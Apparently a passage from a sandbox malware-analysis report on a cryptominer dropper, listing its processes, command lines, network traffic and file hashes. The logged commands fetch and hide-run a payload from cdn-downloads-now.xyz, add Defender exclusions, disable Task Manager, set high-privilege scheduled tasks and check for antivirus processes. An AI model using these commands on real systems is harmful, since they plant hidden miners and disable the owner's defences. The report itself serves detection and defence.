| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\tasklist.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\findstr.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\schtasks.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\net.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\net.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\491505\Dr.com | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\schtasks.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\tasklist.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\find.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\findstr.exe | N/A |
Modifies registry key
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\reg.exe | N/A |
Runs net.exe
Scheduled Task/Job: Scheduled Task
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\491505\Dr.com | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\491505\Dr.com | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\491505\Dr.com | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\asm\mi.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\asm\mi.exe | N/A |
Suspicious use of SendNotifyMessage
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\491505\Dr.com | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\491505\Dr.com | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\491505\Dr.com | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
C:\Users\Admin\AppData\Local\Temp\6b8848b38b3e239a0df83efc456ad22bf5e59e7145b59d1f8e154881ebb9f8e3.exe
"C:\Users\Admin\AppData\Local\Temp\6b8848b38b3e239a0df83efc456ad22bf5e59e7145b59d1f8e154881ebb9f8e3.exe"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c copy Audit Audit.cmd && Audit.cmd
C:\Windows\SysWOW64\tasklist.exe
tasklist
C:\Windows\SysWOW64\findstr.exe
findstr /I "wrsa opssvc"
C:\Windows\SysWOW64\tasklist.exe
tasklist
C:\Windows\SysWOW64\findstr.exe
findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
C:\Windows\SysWOW64\cmd.exe
cmd /c md 491505
C:\Windows\SysWOW64\cmd.exe
cmd /c copy /b ..\Dentists + ..\Flavor + ..\Disturbed + ..\Artistic + ..\Justice + ..\Proceeds + ..\Zip + ..\Soundtrack + ..\Revenue B
C:\Users\Admin\AppData\Local\Temp\491505\Dr.com
Dr.com B
C:\Windows\SysWOW64\choice.exe
choice /d y /t 15
C:\Windows\SysWOW64\cmd.exe
cmd /c schtasks.exe /create /tn "West" /tr "wscript //B 'C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST
C:\Windows\SysWOW64\schtasks.exe
schtasks.exe /create /tn "ApolloPro" /tr "wscript //B 'C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc onlogon /F /RL HIGHEST
C:\Windows\SysWOW64\schtasks.exe
schtasks.exe /create /tn "West" /tr "wscript //B 'C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST
C:\Users\Admin\AppData\Local\Temp\491505\RegAsm.exe
C:\Users\Admin\AppData\Local\Temp\491505\RegAsm.exe
C:\Users\Admin\AppData\Local\Temp\COMSurrogate.exe
"C:\Users\Admin\AppData\Local\Temp\COMSurrogate.exe"
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ex.bat" "
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\task.bat" "
C:\Users\Admin\AppData\Local\Temp\smartscreen.exe
"C:\Users\Admin\AppData\Local\Temp\smartscreen.exe"
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\checkmiexe.bat" "
C:\Windows\SysWOW64\net.exe
net session
C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 session
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -Command "Start-Process -FilePath 'cmd.exe' -ArgumentList '/c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f' -WindowStyle Hidden -Verb RunAs"
C:\Windows\SysWOW64\net.exe
net session
C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 session
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\asm'"
C:\Windows\SysWOW64\tasklist.exe
tasklist /fi "imagename eq mi.exe"
C:\Windows\SysWOW64\find.exe
find /i "mi.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\asm'"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
C:\Windows\SysWOW64\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -Command "& { (New-Object Net.WebClient).DownloadFile('https://cdn-downloads-now.xyz/COMSurrogate.exe', 'C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe') }"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe' -WindowStyle Hidden"
C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe
"C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe"
C:\Users\Admin\AppData\Local\asm\mi.exe
"C:\Users\Admin\AppData\Local\asm\mi.exe" --config="C:\Users\Admin\AppData\Local\asm\config.json"
C:\Users\Admin\AppData\Local\asm\mi.exe
"C:\Users\Admin\AppData\Local\asm\mi.exe" --config="C:\Users\Admin\AppData\Local\asm\config.json"
C:\Windows\system32\wscript.EXE
C:\Windows\system32\wscript.EXE //B "C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.js"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 154.239.44.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 7.125.209.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 64.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | UWPunrsopYzTstryocRtyY.UWPunrsopYzTstryocRtyY | udp |
| US | 8.8.8.8:53 | 232.168.11.51.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 206.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| GB | 45.74.38.211:4782 | tcp | |
| US | 8.8.8.8:53 | 211.38.74.45.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
| US | 8.8.8.8:53 | cdn-downloads.com | udp |
| NL | 203.161.45.11:443 | cdn-downloads.com | tcp |
| US | 8.8.8.8:53 | 11.45.161.203.in-addr.arpa | udp |
| US | 8.8.8.8:53 | cdn-downloads-now.xyz | udp |
| NL | 203.161.45.11:443 | cdn-downloads-now.xyz | tcp |
| NL | 203.161.45.11:443 | cdn-downloads-now.xyz | tcp |
| US | 8.8.8.8:53 | 103.208.201.84.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 11.227.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | api.telegram.org | udp |
| NL | 149.154.167.220:443 | api.telegram.org | tcp |
| US | 8.8.8.8:53 | pool.hashvault.pro | udp |
| DE | 95.179.241.203:80 | pool.hashvault.pro | tcp |
| US | 8.8.8.8:53 | 220.167.154.149.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 203.241.179.95.in-addr.arpa | udp |
| NL | 149.154.167.220:443 | api.telegram.org | tcp |
| DE | 45.76.89.70:80 | pool.hashvault.pro | tcp |
| US | 8.8.8.8:53 | 70.89.76.45.in-addr.arpa | udp |
Files
C:\Users\Admin\AppData\Local\Temp\Audit
| MD5 | 9da23439e34b0498b82ae193c5a8f3a8 |
| SHA1 | ae20bbe7fac03c94e42f4dd206d89003faae7899 |
| SHA256 | 0f241cc0324871a1a900a7ac0edf889a8d12875b1072f44856cc979a4b7a77ac |
| SHA512 | cd4b262753b4f5f1dac09c20fa64ebdee00cf4a3fce92287a7439df943ea65bdf8569f541c2668b2164139b91facccfb3c98db8ad8f686637f4e317583cc98a2 |
C:\Users\Admin\AppData\Local\Temp\Commissioner
| MD5 | 6ee7ddebff0a2b78c7ac30f6e00d1d11 |
| SHA1 | f2f57024c7cc3f9ff5f999ee20c4f5c38bfc20a2 |
| SHA256 | 865347471135bb5459ad0e647e75a14ad91424b6f13a5c05d9ecd9183a8a1cf4 |
| SHA512 | 57d56de2bb882f491e633972003d7c6562ef2758c3731b913ff4d15379ada575062f4de2a48ca6d6d9241852a5b8a007f52792753fd8d8fee85b9a218714efd0 |
C:\Users\Admin\AppData\Local\Temp\Dentists
| MD5 | 895c5374a042a9e6c78c673690cd2275 |
| SHA1 | 9dfe1b532f958f678de2bac7c74646e007a8fa14 |
| SHA256 | 226099aac21e8d4a671a68b37d204339703fb696b6cc5aa30311fb55d6ab2147 |
| SHA512 | 130af34bb1d12db8e86b930d8e490754687e1381a0104ac4c98cc2f02ff7fc4ed9e1d549121a013e1c32663a00d1dc8eb20d2f9831feb3c7eb17bf61a1d8d52c |
C:\Users\Admin\AppData\Local\Temp\Flavor
| MD5 | d9182f7a263f19b9876e7e1568e6c760 |
| SHA1 | d0683b5a7247a2f4a69473165d2c2649f2e1c01f |
| SHA256 | 4efff79e94f136f9bbaed62501810937785831b8c10ee9eb675ceae24cf3c4c9 |
| SHA512 | 85582b94da822580eb26bc477440d87fb0a9ed98e3b75166cd96c2a18c88367c8bdd808fc43c52c2078e625efd81983e9f2e733272289833700649ad58a96a9b |
C:\Users\Admin\AppData\Local\Temp\Disturbed
| MD5 | 0e2df9a4f4d78ad0299f0377d417b39e |
| SHA1 | a2452ab3b04b480dfc2a58a416762e280254751f |
| SHA256 | 8834f63f09734b9f284437f26cba4909ce9ae1aceafa27e2bcd7531c1a7479df |
| SHA512 | d8194f24cc02fc030c7cf1dab5970257a79b8bcc887a8ff1ccd104e94ea809dcd266b056c80e6a0e73cba71f81e654389025c939e3135f6fafca9d51737812b8 |
C:\Users\Admin\AppData\Local\Temp\Artistic
| MD5 | d35007cc8b2860b1fe9ee861e1f2846d |
| SHA1 | 58638fd185601506b3b13fe254065aeb7edff28c |
| SHA256 | de1e4dbe18f0b926b49aceb10157bc7f542409bad6242422efef3b831608a037 |
| SHA512 | 45f851201656cb19c89274d124a7625a4c9fe12f412616a84458aa1857c61455126264416ff7fa1c9ffa99b994613baecfacd1f8179240a5021c7e5b867ea068 |
C:\Users\Admin\AppData\Local\Temp\Justice
| MD5 | 774df02c553d130dde3aa7496b64ebed |
| SHA1 | e2a4aab8c3b654bd022662045fa70413a80e55f9 |
| SHA256 | ae9283c1a14b751639a75592295d85105954b761737ab77fc1e667a1498f2e9e |
| SHA512 | c132cdf383e4fa32362d50768898ed9c6cd1e306056d066168a8ac1ee3ea7953424ff3b241ff1e0376b99b91f566b698bfef07da9bc45471097a6637dc154d11 |
C:\Users\Admin\AppData\Local\Temp\Proceeds
| MD5 | de061b898e12d89c92409f220918347f |
| SHA1 | 6b571edab30dcc4d5518e5bebb296d1f7bf5414c |
| SHA256 | 70fda66f3ea2607d6cff63d0a6a7258577690d2a9bc5105bb529889ce025d1c2 |
| SHA512 | 61d94f04572643dc4274aedda51e7cb6bcccefcfa4556e6d87f94195ddf90ffbeb65909688c7bc3407f244021cc6dff0c8692fd7835ee61e6a43a0394a693a2b |
C:\Users\Admin\AppData\Local\Temp\Zip
| MD5 | 84f05dddefb1c72567827be553fe67fe |
| SHA1 | c2ebcc4de3439a8206aa8faac90312bfb207ce4f |
| SHA256 | b7de8d92196f323eb9a6237b9e902461569fd093b36e1988dee9de2ab157bb12 |
| SHA512 | 99954fa07fe7cc0e54dbd0af09b32507cd998c8b44cb63f1ffe8e30667b6d1bb0949a6c95b60e40e73f0b0bb3f11e79f8fa23f696032118210cd10f03eec2904 |
C:\Users\Admin\AppData\Local\Temp\Soundtrack
| MD5 | b75737c804ca9949cc63bd42c945a5e6 |
| SHA1 | 75c0490174adc40d1824b1024021b82dd5c762b7 |
| SHA256 | 628068ee856d68776d6e9b755cd42d7a5a46af1a2a6a2c22e65db95b5d2d8f2c |
| SHA512 | 58fedd2bd6318d4b93de429d184701e059321c16872cafc978837c29985404bf432e4a2701894f7f67045f9684da40c8e14f9f557da3398c5d6eeca2e18faca7 |
C:\Users\Admin\AppData\Local\Temp\Revenue
| MD5 | aabc90b85b9c3b51543de0339d29778e |
| SHA1 | 299f5e2ca9326e0a5feefb4fc7b05da93cfd11a1 |
| SHA256 | 9a0a3567f4c9b9ca46fbf41d65cdd5ce464b0efe42d6aaf7cff840addbe05d60 |
| SHA512 | 3d951489d7d46874909bfd82e9cac346bdd15bbb485fc76e1ed7d6fe7bb51a7649d1f649b75bb6f6f1b6f10ea16113cd01c20aa7ea85d038fcb7fe317082edf3 |
C:\Users\Admin\AppData\Local\Temp\491505\B
| MD5 | 0a1e63fc10dd1dbb8b2db81e2388bf99 |
| SHA1 | 67ad39aabbf4875bc1b165ccd5afc40194d1d3c8 |
| SHA256 | 122991768f589431b9166a4e22523bf48a53efff73fc2b191955e604196541b7 |
| SHA512 | 94c50f06e1d157381b9d0746044b5d015e2946b44291d92739783cb3ed9e91371cf7d1b981d3108d910d7a7000810fe69fbe6590f9a84f822b671866ab9db5fc |
memory/4880-369-0x0000000000940000-0x0000000000D44000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\491505\RegAsm.exe
| MD5 | 0d5df43af2916f47d00c1573797c1a13 |
| SHA1 | 230ab5559e806574d26b4c20847c368ed55483b0 |
| SHA256 | c066aee7aa3aa83f763ebc5541daa266ed6c648fbffcde0d836a13b221bb2adc |
| SHA512 | f96cf9e1890746b12daf839a6d0f16f062b72c1b8a40439f96583f242980f10f867720232a6fa0f7d4d7ac0a7a6143981a5a130d6417ea98b181447134c7cfe2 |
memory/4880-372-0x0000000002B40000-0x0000000002B4E000-memory.dmp
memory/4880-373-0x0000000005450000-0x00000000054AC000-memory.dmp
memory/4880-374-0x0000000005B20000-0x00000000060C4000-memory.dmp
memory/4880-375-0x0000000005610000-0x00000000056A2000-memory.dmp
memory/4880-376-0x0000000005430000-0x0000000005442000-memory.dmp
memory/4880-377-0x0000000005440000-0x0000000005448000-memory.dmp
memory/4880-379-0x0000000005AB0000-0x0000000005AB8000-memory.dmp
memory/4880-378-0x0000000005600000-0x0000000005608000-memory.dmp
memory/4880-380-0x0000000005AC0000-0x0000000005AD8000-memory.dmp
memory/4880-381-0x0000000005B10000-0x0000000005B20000-memory.dmp
memory/4880-382-0x0000000006840000-0x0000000006E68000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dvcblw41.4up.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4880-392-0x0000000006770000-0x000000000678A000-memory.dmp
memory/4880-393-0x00000000067D0000-0x0000000006806000-memory.dmp
memory/4880-394-0x00000000075F0000-0x0000000007C6A000-memory.dmp
memory/4880-395-0x0000000007310000-0x00000000073A6000-memory.dmp
memory/4880-396-0x0000000007270000-0x0000000007292000-memory.dmp
memory/4880-397-0x00000000073B0000-0x0000000007416000-memory.dmp
memory/4880-398-0x00000000072C0000-0x00000000072DE000-memory.dmp
memory/4880-399-0x0000000007470000-0x00000000074BA000-memory.dmp
memory/4880-400-0x0000000007D70000-0x00000000080C4000-memory.dmp
memory/4880-401-0x0000000008150000-0x00000000081B6000-memory.dmp
memory/4880-402-0x00000000081F0000-0x0000000008212000-memory.dmp
memory/4880-403-0x0000000008340000-0x000000000838C000-memory.dmp
memory/4880-415-0x0000000009AE0000-0x0000000009AFE000-memory.dmp
memory/4880-416-0x0000000009B00000-0x0000000009BA3000-memory.dmp
memory/4880-417-0x0000000009D80000-0x0000000009D8A000-memory.dmp
memory/4880-418-0x0000000009D90000-0x0000000009DA1000-memory.dmp
memory/4880-419-0x0000000009DC0000-0x0000000009DCE000-memory.dmp
memory/4880-420-0x0000000009DF0000-0x0000000009E04000-memory.dmp
memory/4880-421-0x0000000009E30000-0x0000000009E4A000-memory.dmp
memory/4880-422-0x0000000009E50000-0x0000000009E58000-memory.dmp
memory/4880-423-0x0000000008410000-0x000000000841A000-memory.dmp
memory/4880-424-0x0000000009E20000-0x000000000A438000-memory.dmp
memory/4880-425-0x00000000089B0000-0x00000000089C2000-memory.dmp
memory/4880-426-0x0000000008A10000-0x0000000008A4C000-memory.dmp
memory/4880-427-0x0000000008B80000-0x0000000008C8A000-memory.dmp
memory/4880-428-0x0000000008E60000-0x0000000009022000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\COMSurrogate.exe
| MD5 | 77334f046a50530cdc6e585e59165264 |
| SHA1 | 657a584eafe86df36e719526d445b570e135d217 |
| SHA256 | eb6c487307c52793e0bc4d6a74770bbea2322f32edc466b25abacec3dd0e9c08 |
| SHA512 | 97936dd74d7eef8d69dae0d83b6d1554bd54d5302b5b2ff886ff66c040b083d7d086089de12b57a491cf7269a7d076e4d2a52839aaac519386b77297bc3a5c90 |
memory/1064-444-0x0000026285690000-0x00000262856BE000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\ex.bat
| MD5 | ce54310624724dc31ea4171ed501c1fa |
| SHA1 | 3c5b5c6d21eada75357a24699ba37703e6b2a3d0 |
| SHA256 | b955965b61fbec8f75499803f31ddce3228312df236d5e18c9b1b322dfc89f2e |
| SHA512 | 907ddf95e241da4104ab0e7535c74083f026b765d2e5717f817296828d652f2690215073b69552704b5ef6a075154b8f7f95384b8c3a79535b5109bdb3e2cf1c |
C:\Users\Admin\AppData\Local\Temp\smartscreen.exe
| MD5 | 7a4c459132cd663b90f2247b4b4558ce |
| SHA1 | aa64cf182a4acae82554887d42fe6c3723d70fe6 |
| SHA256 | 701dc5fa1621c3b2545d1c000ee21fbb0cf8d733ebca7080bf33869be48179ba |
| SHA512 | 96dc420d5f790da946827d7262f33477325c3f1bbe0bac3a20882a27ca94ea5b099f620c3ed08209bc12ae8413ab5f78da4b9646f0e4a80efa87d5f7b6b35c6f |
C:\Users\Admin\AppData\Local\Temp\task.bat
| MD5 | eee730739f8486d84e48cea70bb59183 |
| SHA1 | e238f560b1836761de106e8f322d26fc8f9b843f |
| SHA256 | f493e2122c896ff9680720134831b09779208474b688313451ce25d6f5d2f403 |
| SHA512 | 5fdb85a6fac886f1c486a75814c37edd0afad1474e305ed61097972fd2351b4e0c5900ef8ab753f2ec5d047a8a2d044ae9229d8c0825060abbfd7ac38aaebb6e |
memory/3912-463-0x000001D390200000-0x000001D39022E000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\checkmiexe.bat
| MD5 | b98885d703994cb43b4520881ea093e0 |
| SHA1 | 920e5c84f92e75e981cd1c0274888f3856441cf8 |
| SHA256 | 1ab0379eced5141d70a438ff2312488f28f2c6e72c3948bb6b2b575207aab445 |
| SHA512 | cffe79b0d48746124138b68c51a16ae73d6c70da6d8afc49e973648d76c0cfdaf57c42da8df33b8e7530c73d547178a571ced933517685c1cbe326ad11ce82af |
memory/4392-493-0x0000000073940000-0x000000007398C000-memory.dmp
memory/4392-492-0x00000000071D0000-0x0000000007202000-memory.dmp
memory/4392-505-0x0000000007430000-0x00000000074D3000-memory.dmp
memory/3456-506-0x0000000073940000-0x000000007398C000-memory.dmp
memory/4392-516-0x0000000007770000-0x0000000007781000-memory.dmp
memory/4392-517-0x00000000077B0000-0x00000000077C4000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
| MD5 | def65711d78669d7f8e69313be4acf2e |
| SHA1 | 6522ebf1de09eeb981e270bd95114bc69a49cda6 |
| SHA256 | aa1c97cdbce9a848f1db2ad483f19caa535b55a3a1ef2ad1260e0437002bc82c |
| SHA512 | 05b2f9cd9bc3b46f52fded320b68e05f79b2b3ceaeb13e5d87ae9f8cd8e6c90bbb4ffa4da8192c2bfe0f58826cabff2e99e7c5cc8dd47037d4eb7bfc6f2710a7 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 06a18c8691c128bb6755e0caf3b904df |
| SHA1 | efe8e61ab524e612d66a98e7daae94fcdcc787bc |
| SHA256 | 09e6fd19b6b13c976e755858c9a6465d61e1226053a37cec4fe0b6fe4978b981 |
| SHA512 | a59dbfb67ea17ba038d380a5edda1b97ed2f17f06e374f56db8d50a3d54a2dcb9f41e16935cc1bc5c632907f2cab50468f96ad56003f62772e6649b4b187d915 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 892c42400315681158e06ebcab653902 |
| SHA1 | 3e9e42591469d4b6d0d834253eff2a3d47b704e3 |
| SHA256 | a4af4584c3fc1a8adfb584ca645f9d072b6c11bc4245e528f83704dda239cedb |
| SHA512 | cc22729f82dc0fe48488c5c2b9ee76c3d473aa7137354b27f923d718cb645ad0134f8203a72a4e35d197ce6baefb5673e1a3529c6a5cffb53c40d2f5b481df09 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 0cc100f603fc2bbab6b13dea3c160d33 |
| SHA1 | 5b8f8e2ac724c297715fc813d95d830d1bc58875 |
| SHA256 | 59959e099862c8a7fc2fbab856de03b9f9c6fb8d391c6fa98dd695213285b876 |
| SHA512 | fd2e58c768f8db1b00c1886c0279e0397435662bb2f89de04be833288023dac394b9fbb856fbb81c01388bb91477012e28cb7df10561243fe8346f76a5c60b84 |
C:\Users\Admin\AppData\Local\asm\xmrig-cuda.dll
| MD5 | 0eaba7ef81b53a938d96921fb2185c19 |
| SHA1 | 9154ad5f8d24426e2ba63212461ae48db8dd9085 |
| SHA256 | 9d3aa03f8a003a0142ca6bca93d8b86bc6785b5076d1d2a6528602c110d5e4eb |
| SHA512 | 0ab9caae19b9c97958b8d9084585bd4ef2857e9a6956d4cf87f57e1b25d873f911b05da3532acf15d9956286ab0b0e1606f9ea5e3f84b25f495506b0fab02569 |
C:\Users\Admin\AppData\Local\asm\nvrtc64_102_0.dll
| MD5 | ee49d4ee7259a23219a20e6498009897 |
| SHA1 | 83ced25311f834d27256274118437c49664f6e3e |
| SHA256 | 79d9673dd7ff4ded9c9ba24a0bdb44f0309c5a2b9f9d618134a8668c7f193bd1 |
| SHA512 | 9b9703b1f6fe71fd76b019546bcc2608f1edb43a3c4d5b7d64904969969f49e4f1381d81a11cde05f57bab017135e3af62bd069d2b182ddc5fee4ef2078e56a1 |
C:\Users\Admin\AppData\Local\asm\mi.exe
| MD5 | f6d520ae125f03056c4646c508218d16 |
| SHA1 | f65e63d14dd57eadb262deaa2b1a8a965a2a962c |
| SHA256 | d2fcf28897ddc2137141d838b734664ff7592e03fcd467a433a51cb4976b4fb1 |
| SHA512 | d1ec3da141ce504993a0cbf8ea4b719ffa40a2be4941c18ffc64ec3f71435f7bddadda6032ec0ae6cada66226ee39a2012079ed318df389c7c6584ad3e1c334d |
memory/3048-563-0x00000149C5B10000-0x00000149C5B30000-memory.dmp
C:\Users\Admin\AppData\Local\asm\config.json
| MD5 | dcb095940d9fb21102941fbeb7bbe9f7 |
| SHA1 | 3c0d33b914bc5b174cd9c13427ec8700c09d96ca |
| SHA256 | ba88bbb257474d6d7e8e9bec7a12ff826c3fa80cb019fbc92ea8d6253c2400b1 |
| SHA512 | c384a68fac9c301efd695605e6b14e1e201be687d99cc1e31c6ed2c3d17f37c28802179dd175b4aadb29a3dd6d808b203e18ee96db63a5dbcb92c9d42d2036c2 |
C:\Users\Admin\AppData\Local\asm\nvrtc-builtins64_102.dll
| MD5 | d816d6c6a543ff4c19486e36546436d8 |
| SHA1 | 09d984e686486a413e68252800d7990b31e87d2b |
| SHA256 | 08e799194bcea78e2335b8f28bf5e5b0b799457167872dc3d9e40ad3cce9b6ab |
| SHA512 | c739af6593301555d72e9d7d474abdaeb18ebe6aa91e5f3bac60e835f1fd531e5ab6a1e93cc7bb2e24c4c7e4d3ea3815a2f54f5253c9cc4a01b71d1885d500f8 |
C:\Users\Admin\AppData\Local\asm\config.json
| MD5 | 765f166cee1b4f665d03e7b19fecda17 |
| SHA1 | 4c669932e6a5b9c320b82f23f66f1aed54da9fc8 |
| SHA256 | 4af189033b8e93d7e219d36a2f32b3d57e39932fb074f5c8cb688eb0eb7eefe4 |
| SHA512 | 3c9fbef9ad831609263d51c0f16405be422eb3bfd591ef14ff46960f9c38270078073d1890c2d6b14650df37ee20229e8872fbfa1d6646b8678ebda2b585bb53 |